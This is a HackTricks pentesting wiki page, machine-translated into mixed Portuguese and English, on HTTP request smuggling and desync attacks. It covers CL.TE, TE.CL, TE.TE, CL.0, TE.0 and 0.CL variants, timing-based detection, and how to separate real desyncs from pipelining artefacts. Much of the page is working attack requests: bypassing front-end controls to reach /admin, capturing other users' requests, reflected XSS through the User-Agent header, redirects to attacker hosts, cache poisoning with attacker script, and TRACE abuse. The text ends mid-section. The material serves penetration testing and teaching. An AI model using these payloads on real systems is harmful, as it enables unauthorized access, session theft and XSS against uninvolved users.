HTTP Request Smuggling / HTTP Desync Attack
Tip
Aprenda e pratique AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Navegue pelo catálogo completo do HackTricks Training para as trilhas de assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord, ao grupo do telegram, siga @hacktricks_live no X/Twitter, ou confira a página do LinkedIn e o canal do YouTube.
- Compartilhe hacking tricks enviando PRs para os repositórios github HackTricks e HackTricks Cloud.
O que é
Esta vulnerabilidade ocorre quando uma dessincronização entre front-end proxies e o servidor back-end permite que um attacker envie uma request HTTP que será interpretada como uma única request pelos front-end proxies (load balance/reverse-proxy) e como 2 request pelo servidor back-end.
Isso permite que um usuário modifique a próxima request que chega ao servidor back-end depois da sua.
Teoria
If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.
Content-Length
O cabeçalho de entidade Content-Length indica o tamanho do body da entidade, em bytes, enviado ao destinatário.
Transfer-Encoding: chunked
O cabeçalho Transfer-Encoding especifica a forma de codificação usada para transferir com segurança o body do payload para o user.
Chunked significa que large data é enviada em uma série de chunks
Reality
O Front-End (um load-balance / Reverse Proxy) processa o cabeçalho content-length ou transfer-encoding e o servidor back-end processa o outro, provocando uma dessincronização entre os 2 sistemas.
Isso pode ser muito crítico, pois um attacker será capaz de enviar uma request para o reverse proxy que será interpretada pelo servidor back-end como 2 requests diferentes. O danger desta técnica reside no fato de que o servidor back-end interpretará a 2nd request injected como se tivesse vindo do próximo client e a real request desse client fará part da injected request.
Particularidades
Lembre-se de que em HTTP um new line character é composto por 2 bytes:
- Content-Length: Este cabeçalho usa um decimal number para indicar o number de bytes do body da request. Espera-se que o body termine no último character, um new line não é necessário no final da request.
- Transfer-Encoding: Este cabeçalho usa no body um hexadecimal number para indicar o number de bytes do next chunk. O chunk deve end com um new line, mas esse new line não é contado pelo indicador de length. Este método de transferência deve terminar com um chunk de size 0 seguido de 2 new lines:
0 - Connection: Com base na minha experiência, é recomendado usar
Connection: keep-alivena primeira request do request Smuggling.
Visible - Hidden
O principal problema com http/1.1 é que todas as requests vão no mesmo TCP socket, então, se uma discrepância for encontrada entre 2 sistemas que recebem requests, é possível enviar uma request que será tratada como 2 requests diferentes (ou mais) pelo backend final (ou até por sistemas intermediários).
Este blog post propõe novas formas de detectar desync attacks em um sistema que não serão sinalizadas por WAFs. Para isso, ele apresenta os comportamentos Visible vs Hidden. O objetivo nesse caso é tentar encontrar discrepâncias na response usando técnicas que podem estar causando desyncs sem realmente explorar nada.
Por exemplo, enviar uma request com o normal host header e um “ host“ header; se o backend reclamar sobre essa request (talvez porque o value de “ host“ esteja incorreto), isso pode significar que o front-end não viu o “ host“ header enquanto o backend final o utilizou, altamente provável indicando uma desync entre front-end e backend.
Isso seria uma discrepância Hidden-Visible.
Se o front-end tivesse levado em conta o “ host“ header, mas o front-end não tivesse, isso poderia ser uma situação Visible-Hidden.
Por exemplo, isso permitiu descobrir desyncs entre AWS ALB como front-end e IIS como backend. Isso ocorreu porque, quando “Host: foo/bar” era enviado, o ALB retornava 400, Server; awselb/2.0, mas quando “Host : foo/bar” era enviado, retornava 400, Server: Microsoft-HTTPAPI/2.0, indicando que o backend estava enviando a response. Esta é uma situação Hidden-Vissible (H-V).
Note que essa situação não é corrigida na AWS, mas pode ser prevenida definindo routing.http.drop_invalid_header_fields.enabled e routing.http.desync_mitigation_mode = strictest.
Exemplos Básicos
Tip
Ao tentar explorar isso com Burp Suite desative
Update Content-LengtheNormalize HTTP/1 line endingsno repeater, porque alguns gadgets abusam de newlines, carriage returns e malformed content-lengths.
HTTP request smuggling attacks são montados enviando requests ambíguas que exploram discrepâncias na forma como os servidores front-end e back-end interpretam os headers Content-Length (CL) e Transfer-Encoding (TE). Esses ataques podem se manifestar de diferentes formas, principalmente como CL.TE, TE.CL e TE.TE. Cada tipo representa uma combinação única de como os servidores front-end e back-end priorizam esses headers. As vulnerabilities surgem quando os servidores processam a mesma request de maneiras diferentes, levando a resultados inesperados e potencialmente maliciosos.
Exemplos Básicos de Tipos de Vulnerabilidade

Tip
À tabela anterior você deve adicionar a técnica TE.0, como a técnica CL.0, mas usando Transfer Encoding.
Vulnerability CL.TE (Content-Length usado pelo Front-End, Transfer-Encoding usado pelo Back-End)
-
Front-End (CL): Processa a request com base no header
Content-Length. -
Back-End (TE): Processa a request com base no header
Transfer-Encoding. -
Cenário de Attack:
-
O attacker envia uma request em que o value do header
Content-Lengthnão corresponde ao content length real. -
O servidor front-end encaminha a request inteira para o back-end, com base no value de
Content-Length. -
O servidor back-end processa a request como chunked devido ao header
Transfer-Encoding: chunked, interpretando os dados restantes como uma request separada subsequente. -
Exemplo:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked
0
GET /404 HTTP/1.1
Foo: x
Vulnerability TE.CL (Transfer-Encoding usado pelo Front-End, Content-Length usado pelo Back-End)
-
Front-End (TE): Processa a request com base no header
Transfer-Encoding. -
Back-End (CL): Processa a request com base no header
Content-Length. -
Cenário de Attack:
-
O attacker envia uma request chunked em que o chunk size (
7b) e o content length real (Content-Length: 4) não se alinham. -
O servidor front-end, respeitando
Transfer-Encoding, encaminha a request inteira para o back-end. -
O servidor back-end, respeitando
Content-Length, processa apenas a parte inicial da request (7bbytes), deixando o restante como parte de uma subsequent request não intencional. -
Exemplo:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked
7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
x=
0
Vulnerability TE.TE (Transfer-Encoding usado por ambos, com obfuscation)
-
Servers: Ambos suportam
Transfer-Encoding, mas um pode ser enganado para ignorá-lo via obfuscation. -
Cenário de Attack:
-
O attacker envia uma request com headers
Transfer-Encodingobfuscados. -
Dependendo de qual servidor (front-end ou back-end) falha em reconhecer a obfuscation, uma vulnerability CL.TE ou TE.CL pode ser explorada.
-
A parte não processada da request, como vista por um dos servers, torna-se parte de uma subsequent request, levando ao smuggling.
-
Exemplo:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
Cenário CL.CL (Content-Length usado por Front-End e Back-End)
- Ambos os servers processam a request com base exclusivamente no header
Content-Length. - Esse cenário normalmente não leva a smuggling, pois há alinhamento na forma como ambos os servers interpretam o request length.
- Exemplo:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Normal Request
Cenário CL.0
- Refere-se a cenários em que o header
Content-Lengthestá presente e tem um value diferente de zero, indicando que o body da request tem conteúdo. O back-end ignora o headerContent-Length(que é tratado como 0), mas o front-end o interpreta. - Isso é crucial para entender e criar attacks de smuggling, pois influencia como os servers determinam o final de uma request.
- Exemplo:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Non-Empty Body
Cenário TE.0
- Como o anterior, mas usando TE
- Technique reported here
- Example:
OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive
50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE
0.CL Scenario
Em uma situação 0.CL, uma request é enviada com um Content-Length como:
GET /Logon HTTP/1.1
Host: <redacted>
Content-Length:
7
GET /404 HTTP/1.1
X: Y
E o front-end não leva o Content-Length em consideração, então ele só envia a primeira request para o backend (até o 7 no exemplo). No entanto, o backend vê o Content-Length e espera um body que nunca chega porque o front-end já está esperando a response.
No entanto, se houver uma request que seja possível enviar para o backend e que receba uma resposta antes de receber o body da request, esse deadlock não ocorre. No IIS, por exemplo, isso acontece ao enviar requests para palavras proibidas como /con (ver a documentação), dessa forma, a request inicial será respondida diretamente e a segunda request conterá a request da vítima como:
GET / HTTP/1.1
X: yGET /victim HTTP/1.1
Host: <redacted>
Isso é útil para causar um desync, mas não terá nenhum impacto até agora.
No entanto, o post oferece uma solução para isso ao converter um 0.CL attack into a CL.0 with a double desync.
Quebrando o web server
Essa técnica também é útil em cenários em que é possível quebrar um web server ao ler os dados HTTP iniciais mas sem fechar a conexão. Dessa forma, o body da HTTP request será considerado a próxima HTTP request.
Por exemplo, como explicado em this writeup, no Werkzeug era possível enviar alguns caracteres Unicode e isso fazia o servidor quebrar. No entanto, se a conexão HTTP fosse criada com o header Connection: keep-alive, o body da request não seria lido e a conexão continuaria aberta, então o body da request seria tratado como a próxima HTTP request.
Forçando via headers hop-by-hop
Abusando de headers hop-by-hop, você poderia indicar ao proxy para apagar o header Content-Length ou Transfer-Encoding, de forma que um HTTP request smuggling pudesse ser explorado.
Connection: Content-Length
Para mais informações sobre hop-by-hop headers visite:
Encontrando HTTP Request Smuggling
Identificar vulnerabilidades de HTTP request smuggling muitas vezes pode ser feito usando técnicas de timing, que dependem de observar quanto tempo o servidor leva para responder a requests manipuladas. Essas técnicas são especialmente úteis para detectar vulnerabilidades CL.TE e TE.CL. Além desses métodos, há outras estratégias e ferramentas que podem ser usadas para encontrar esse tipo de vulnerabilidade:
Encontrando Vulnerabilidades CL.TE Usando Técnicas de Timing
-
Método:
-
Envie uma request que, se a aplicação for vulnerável, fará o back-end server esperar por dados adicionais.
-
Exemplo:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4
1
A
0
-
Observação:
-
O front-end server processa a request com base em
Content-Lengthe corta a mensagem prematuramente. -
O back-end server, esperando uma mensagem em chunks, aguarda o próximo chunk que nunca chega, causando atraso.
-
Indicadores:
-
Timeouts ou longos atrasos na resposta.
-
Recebimento de um erro 400 Bad Request do back-end server, às vezes com informações detalhadas do servidor.
Encontrando Vulnerabilidades TE.CL Usando Técnicas de Timing
-
Método:
-
Envie uma request que, se a aplicação for vulnerável, fará o back-end server esperar por dados adicionais.
-
Exemplo:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6
0
X
- Observação:
- O front-end server processa a request com base em
Transfer-Encodinge encaminha a mensagem inteira. - O back-end server, esperando uma mensagem com base em
Content-Length, aguarda por dados adicionais que nunca chegam, causando atraso.
Outros Métodos para Encontrar Vulnerabilidades
- Análise Diferencial de Respostas:
- Envie versões ligeiramente diferentes de uma request e observe se as respostas do servidor diferem de forma inesperada, indicando uma discrepância de parsing.
- Uso de Ferramentas Automatizadas:
- Ferramentas como a extensão ‘HTTP Request Smuggler’ do Burp Suite podem testar automaticamente essas vulnerabilidades enviando várias formas de requests ambíguas e analisando as respostas.
- Testes de Variação de Content-Length:
- Envie requests com valores de
Content-Lengthvariados que não estejam alinhados com o tamanho real do conteúdo e observe como o servidor lida com essas divergências. - Testes de Variação de Transfer-Encoding:
- Envie requests com headers
Transfer-Encodingofuscados ou malformados e monitore como o front-end e o back-end server respondem de forma diferente a essas manipulações.
O header Expect: 100-continue
Veja como este header pode ajudar a explorar um http desync em:
Teste de Vulnerabilidade de HTTP Request Smuggling
Após confirmar a eficácia das técnicas de timing, é crucial verificar se requests de client podem ser manipuladas. Um método direto é tentar poisoning suas requests; por exemplo, fazer uma request para / retornar uma resposta 404. Os exemplos CL.TE e TE.CL discutidos anteriormente em Basic Examples demonstram como fazer poisoning da request de um client para provocar uma resposta 404, apesar de o client tentar acessar um recurso diferente.
Considerações Importantes
Ao testar vulnerabilidades de request smuggling interferindo em outras requests, tenha em mente:
- Conexões de Rede Distintas: As requests “attack” e “normal” devem ser enviadas por conexões de rede separadas. Utilizar a mesma conexão para ambas não valida a presença da vulnerabilidade.
- URL e Parâmetros Consistentes: Procure usar URLs e nomes de parâmetros idênticos para ambas as requests. Aplicações modernas frequentemente roteiam requests para back-end servers específicos com base na URL e nos parâmetros. Fazer isso aumenta a probabilidade de ambas as requests serem processadas pelo mesmo server, um pré-requisito para um ataque bem-sucedido.
- Timing e Condições de Race: A request “normal”, destinada a detectar interferência da request “attack”, compete com outras requests concorrentes da aplicação. Portanto, envie a request “normal” imediatamente após a request “attack”. Aplicações com alto tráfego podem exigir várias tentativas para confirmar a vulnerabilidade de forma conclusiva.
- Desafios de Load Balancing: Front-end servers atuando como load balancers podem distribuir requests por vários back-end systems. Se as requests “attack” e “normal” acabarem em systems diferentes, o ataque não terá sucesso. Esse aspecto de load balancing pode exigir várias tentativas para confirmar uma vulnerabilidade.
- Impacto Não Intencional em Usuários: Se o seu ataque impactar inadvertidamente a request de outro usuário (e não a request “normal” que você enviou para detecção), isso indica que seu ataque influenciou outro usuário da aplicação. Testes contínuos podem interromper outros usuários, exigindo uma abordagem cautelosa.
Distinguindo artefatos de HTTP/1.1 pipelining vs request smuggling genuíno
A reutilização de conexão (keep-alive) e o pipelining podem facilmente criar ilusões de “smuggling” em ferramentas de teste que enviam múltiplas requests no mesmo socket. Aprenda a separar artefatos inofensivos do lado do client de um desync real no lado do server.
Por que o pipelining cria falsos positivos clássicos
HTTP/1.1 reutiliza uma única conexão TCP/TLS e concatena requests e responses no mesmo stream. No pipelining, o client envia várias requests em sequência e depende de responses na mesma ordem. Um falso positivo comum é reenviar um payload CL.0 malformado duas vezes em uma única conexão:
POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: Y
As respostas podem parecer:
HTTP/1.1 200 OK
Content-Type: text/html
HTTP/1.1 200 OK
Content-Type: text/plain
User-agent: *
Disallow: /settings
Se o servidor ignorou o Content_Length malformado, não há desync FE↔BE. Com reuse, seu cliente realmente enviou este byte-stream, que o servidor analisou como duas requests independentes:
POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: YPOST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: Y
Impacto: nenhum. Você apenas desincronizou seu client do framing do server.
Tip
Módulos do Burp que dependem de reuse/pipelining: Turbo Intruder com
requestsPerConnection>1, Intruder com “HTTP/1 connection reuse”, Repeater “Send group in sequence (single connection)” ou “Enable connection reuse”.
Testes de litmus: pipelining ou desync real?
- Desative reuse e teste novamente
- No Burp Intruder/Repeater, desligue HTTP/1 reuse e evite “Send group in sequence”.
- No Turbo Intruder, defina
requestsPerConnection=1epipeline=False. - Se o comportamento desaparecer, provavelmente era pipelining no client, a menos que você esteja lidando com targets connection-locked/stateful ou client-side desync.
- Verificação de nested-response em HTTP/2
- Envie uma requisição HTTP/2. Se o body da response contiver uma response HTTP/1 completa e nested, você provou um bug de parsing/desync no backend em vez de um artefato puro do client.
- Probe de partial-requests para front-ends connection-locked
- Alguns FEs só reutilizam a upstream BE connection se o client tiver reutilizado a dele. Use partial-requests para detectar comportamento do FE que espelha o reuse do client.
- Veja o PortSwigger “Browser‑Powered Desync Attacks” para a technique connection-locked.
- Probes de state
- Procure diferenças entre first-request e subsequent-request na mesma TCP connection (first-request routing/validation).
- O Burp “HTTP Request Smuggler” inclui um probe de connection-state que automatiza isso.
- Visualize o wire
- Use a extensão “HTTP Hacker” do Burp para inspecionar diretamente concatenação e message framing enquanto experimenta reuse e partial requests.
Connection‑locked request smuggling (reuse-required)
Alguns front-ends só reutilizam a upstream connection quando o client reutiliza a dele. O smuggling real existe, mas é condicional ao reuse no client-side. Para distinguir e provar impacto:
- Prove o bug no server-side
- Use a verificação de nested-response em HTTP/2, ou
- Use partial-requests para mostrar que o FE só reutiliza upstream quando o client reutiliza.
- Mostre impacto real mesmo se o abuso direto de socket cross-user estiver bloqueado:
- Cache poisoning: envenene caches compartilhados via o desync para que responses afetem outros users.
- Internal header disclosure: reflita headers injetados pelo FE (por exemplo, headers auth/trust) e faça pivot para auth bypass.
- Bypass de controles do FE: smuggle paths/methods restritos passando pelo front-end.
- Host-header abuse: combine com quirks de host routing para fazer pivot para internal vhosts.
- Fluxo de trabalho do operator
- Reproduza com reuse controlado (Turbo Intruder
requestsPerConnection=2, ou Burp Repeater tab group → “Send group in sequence (single connection)”). - Depois encadeie com primitives de cache/header-leak/control-bypass e demonstre impacto cross-user ou de authorization.
Veja também connection-state attacks, que são closely related, mas tecnicamente não são smuggling:
{{#ref}} ../http-connection-request-smuggling.md {{#endref}}
Restrições de client-side desync
Se você estiver mirando browser-powered/client-side desync, a malicious request precisa poder ser enviada por um browser cross-origin. Tricks de obfuscation de header não vão funcionar. Foque em primitives alcançáveis via navigation/fetch e depois faça pivot para cache poisoning, header disclosure ou front-end control bypass onde componentes downstream reflitam ou armazenem responses.
Para background e workflows end-to-end:
Browser HTTP Request Smuggling
Tooling para ajudar a decidir
- HTTP Hacker (Burp BApp Store): expõe comportamento HTTP de baixo nível e socket concatenation.
- “Smuggling or pipelining?” Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
- Turbo Intruder: controle preciso sobre reuse de connection via
requestsPerConnection. - Burp HTTP Request Smuggler: inclui um probe de connection-state para detectar first-request routing/validation.
Note
Trate effects que dependem apenas de reuse como non-issues, a menos que você consiga provar desync no server-side e anexar impacto concreto (artefato de cache envenenado, internal header vazado permitindo privilege bypass, control bypass do FE, etc.).
Abusing HTTP Request Smuggling
Circumventing Front-End Security via HTTP Request Smuggling
Às vezes, proxies de front-end aplicam medidas de segurança, examinando requests de entrada. No entanto, essas medidas podem ser contornadas explorando HTTP Request Smuggling, permitindo acesso não autorizado a endpoints restritos. Por exemplo, acessar /admin pode ser proibido externamente, com o front-end proxy bloqueando ativamente tais tentativas. Ainda assim, esse proxy pode deixar de inspecionar requests embutidos dentro de um HTTP request smuggled, criando uma brecha para burlar essas restrições.
Considere os seguintes exemplos que ilustram como HTTP Request Smuggling pode ser usado para burlar controles de segurança do front-end, mirando especificamente o path /admin, que normalmente é protegido pelo front-end proxy:
CL.TE Example
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10
x=
No ataque CL.TE, o cabeçalho Content-Length é aproveitado para a requisição inicial, enquanto a requisição incorporada subsequente utiliza o cabeçalho Transfer-Encoding: chunked. O proxy front-end processa a requisição inicial POST, mas falha ao inspecionar a requisição GET /admin incorporada, permitindo acesso não autorizado ao caminho /admin.
Exemplo TE.CL
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0
Por outro lado, no ataque TE.CL, a requisição inicial POST usa Transfer-Encoding: chunked, e a requisição incorporada subsequente é processada com base no header Content-Length. Semelhante ao ataque CL.TE, o proxy front-end ignora a requisição GET /admin smuggled, concedendo inadvertidamente acesso ao caminho restrito /admin.
Revelando a reescrita de requisições no front-end
Applications frequentemente empregam um servidor front-end para modificar requisições recebidas antes de passá-las ao servidor back-end. Uma modificação típica envolve adicionar headers, como X-Forwarded-For: <IP of the client>, para repassar o IP do client ao back-end. Entender essas modificações pode ser crucial, pois pode revelar formas de bypassar proteções ou descobrir informações ou endpoints ocultos.
Para investigar como um proxy altera uma requisição, localize um parâmetro POST que o back-end ecoa na response. Em seguida, monte uma requisição, usando esse parâmetro por último, semelhante à seguinte:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked
0
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
search=
Nesta estrutura, os componentes subsequentes da request são anexados após search=, que é o parâmetro refletido na response. Essa reflection exporá os headers da request subsequente.
É importante alinhar o header Content-Length da nested request com o comprimento real do conteúdo. Começar com um valor pequeno e incrementá-lo gradualmente é aconselhável, pois um valor muito baixo truncará os dados refletidos, enquanto um valor muito alto pode fazer a request falhar.
Esta technique também é aplicável no contexto de uma vulnerabilidade TE.CL, mas a request deve terminar com search=\r\n0. Independentemente dos caracteres de newline, os valores serão anexados ao parâmetro search.
Este método serve principalmente para entender as modificações de request feitas pelo front-end proxy, essencialmente realizando uma investigação autodirigida.
Capturing other users’ requests
É possível capturar as requests do próximo usuário anexando uma request específica como valor de um parâmetro durante uma operação POST. Veja como isso pode ser feito:
Ao anexar a seguinte request como valor de um parâmetro, você pode armazenar a request do cliente subsequente:
POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
Nesse cenário, o comment parameter tem como objetivo armazenar o conteúdo dentro da seção de comentários de uma post em uma página publicamente acessível. Consequentemente, o conteúdo da request subsequente aparecerá como um comment.
No entanto, essa técnica tem limitações. Em geral, ela captura dados apenas até o delimitador do parameter usado na request smuggled. Para submissões de form URL-encoded, esse delimitador é o caractere &. Isso significa que o conteúdo capturado da request do usuário vítima irá parar no primeiro &, que pode até mesmo fazer parte da query string.
Além disso, vale notar que essa abordagem também é viável com uma vulnerabilidade TE.CL. Nesses casos, a request deve terminar com search=\r\n0. Independentemente dos newline characters, os values serão anexados ao search parameter.
Using HTTP request smuggling to exploit reflected XSS
HTTP Request Smuggling pode ser aproveitado para explorar web pages vulneráveis a Reflected XSS, oferecendo vantagens significativas:
- A interação com os target users não é necessária.
- Permite a exploração de XSS em partes da request que normalmente são inatingíveis, como HTTP request headers.
Em cenários em que um website é suscetível a Reflected XSS através do header User-Agent, o following payload demonstra como explorar essa vulnerability:
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded
0
GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded
A=
Este payload é estruturado para explorar a vulnerabilidade ao:
- Iniciar uma requisição
POST, aparentemente típica, com um headerTransfer-Encoding: chunkedpara indicar o início do smuggling. - Em seguida, usar um
0, marcando o fim do corpo da mensagem chunked. - Depois, uma requisição
GETsmuggled é introduzida, onde o headerUser-Agenté injetado com um script,<script>alert(1)</script>, disparando o XSS quando o servidor processa essa requisição subsequente.
Ao manipular o User-Agent por meio de smuggling, o payload contorna as restrições normais da requisição, explorando assim a vulnerabilidade de Reflected XSS de uma forma não padrão, porém eficaz.
HTTP/0.9
Caution
Caso o conteúdo do usuário seja refletido em uma resposta com um
Content-typecomotext/plain, impedindo a execução do XSS. Se o servidor suportar HTTP/0.9, pode ser possível contornar isso!
A versão HTTP/0.9 existia antes da 1.0 e usa apenas verbos GET e não responde com headers, apenas o body.
Em este writeup, isso foi abusado com uma request smuggling e um endpoint vulnerável que responderá com a entrada do usuário para smuggle uma requisição com HTTP/0.9. O parâmetro que seria refletido na resposta continha uma fake resposta HTTP/1.1 (com headers e body), então a resposta conteria código JS executável válido com um Content-Type de text/html.
Exploitando On-site Redirects com HTTP Request Smuggling
Aplicações frequentemente redirecionam de uma URL para outra usando o hostname do header Host na URL de redirecionamento. Isso é comum em web servers como Apache e IIS. Por exemplo, ao solicitar uma pasta sem uma barra no final, resulta em um redirect para incluir a barra:
GET /home HTTP/1.1
Host: normal-website.com
Resultados em:
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
Embora pareça inofensivo, esse comportamento pode ser manipulado usando HTTP request smuggling para redirecionar usuários para um site externo. Por exemplo:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
Esta request smuggled pode fazer com que a próxima user request processada seja redirecionada para um website controlado por um attacker:
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
Resultados em:
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
Neste cenário, a request de um usuário por um arquivo JavaScript é hijacked. O attacker pode potencialmente comprometer o usuário servindo JavaScript malicioso em resposta.
Exploiting Web Cache Poisoning via HTTP Request Smuggling
Web cache poisoning pode ser executado se qualquer componente da front-end infrastructure caches content, normalmente para melhorar o desempenho. Ao manipular a response do servidor, é possível poison the cache.
Anteriormente, observamos como responses do servidor podiam ser alteradas para retornar um erro 404 (consulte Basic Examples). De forma semelhante, é possível enganar o servidor para entregar conteúdo de /index.html em resposta a uma request para /static/include.js. Consequentemente, o conteúdo de /static/include.js é substituído no cache pelo de /index.html, tornando /static/include.js inacessível aos usuários, o que pode levar a um Denial of Service (DoS).
Essa técnica se torna particularmente potente se uma vulnerabilidade de Open Redirect for descoberta ou se houver um on-site redirect to an open redirect. Tais vulnerabilidades podem ser exploradas para substituir o conteúdo em cache de /static/include.js por um script sob controle do attacker, essencialmente permitindo um ataque amplo de Cross-Site Scripting (XSS) contra todos os clients que solicitarem o /static/include.js atualizado.
Abaixo está uma ilustração de explorar cache poisoning combinado com um on-site redirect to open redirect. O objetivo é alterar o conteúdo do cache de /static/include.js para servir código JavaScript controlado pelo attacker:
POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
Note a requisição embutida direcionando para /post/next?postId=3. Essa requisição será redirecionada para /post?postId=4, utilizando o valor do Host header para determinar o domínio. Ao alterar o Host header, o atacante pode redirecionar a requisição para o seu domínio (on-site redirect to open redirect).
Após o sucesso de socket poisoning, uma GET request para /static/include.js deve ser iniciada. Essa requisição será contaminada pela anterior on-site redirect to open redirect request e buscará o conteúdo do script controlado pelo atacante.
Subsequentemente, qualquer requisição para /static/include.js servirá o conteúdo em cache do script do atacante, efetivamente lançando um amplo ataque XSS.
Using HTTP request smuggling to perform web cache deception
What is the difference between web cache poisoning and web cache deception?
- In web cache poisoning, the attacker causes the application to store some malicious content in the cache, and this content is served from the cache to other application users.
- In web cache deception, the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache.
O atacante cria uma requisição smuggled que busca conteúdo sensível específico do usuário. Considere o seguinte exemplo:
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`
Se esta requisição smuggled envenena uma entrada de cache destinada a conteúdo estático (por exemplo, /someimage.png), os dados sensíveis da vítima de /private/messages podem ser armazenados em cache sob a entrada de cache do conteúdo estático. Consequentemente, o attacker poderia potencialmente recuperar esses dados sensíveis em cache.
Abusing TRACE via HTTP Request Smuggling
Neste post é sugerido que, se o server tiver o method TRACE habilitado, pode ser possível abusá-lo com um HTTP Request Smuggling. Isso acontece porque esse method refletirá qualquer header enviado ao server como parte do body da response. Por exemplo:
TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>
Irei enviar uma resposta como:
HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115
TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx
Um exemplo de como abusar desse comportamento seria smuggle primeiro uma requisição HEAD. Essa requisição será respondida apenas com os headers de uma requisição GET (Content-Type entre eles). E smuggle imediatamente após o HEAD uma requisição TRACE, que irá refletir os dados enviados.
Como a resposta do HEAD conterá um header Content-Length, a resposta da requisição TRACE será tratada como o corpo da resposta do HEAD, portanto refletindo dados arbitrários na resposta.
Essa resposta será enviada para a próxima requisição na conexão, então isso pode ser usado em um arquivo JS em cache, por exemplo, para injetar código JS arbitrário.
Abusing TRACE via HTTP Response Splitting
Continue seguindo this post é sugerida outra forma de abusar do método TRACE. Como comentado, smuggle uma requisição HEAD e uma requisição TRACE, é possível controlar alguns dados refletidos na resposta à requisição HEAD. O tamanho do corpo da requisição HEAD é basicamente indicado no header Content-Length e é formado pela resposta à requisição TRACE.
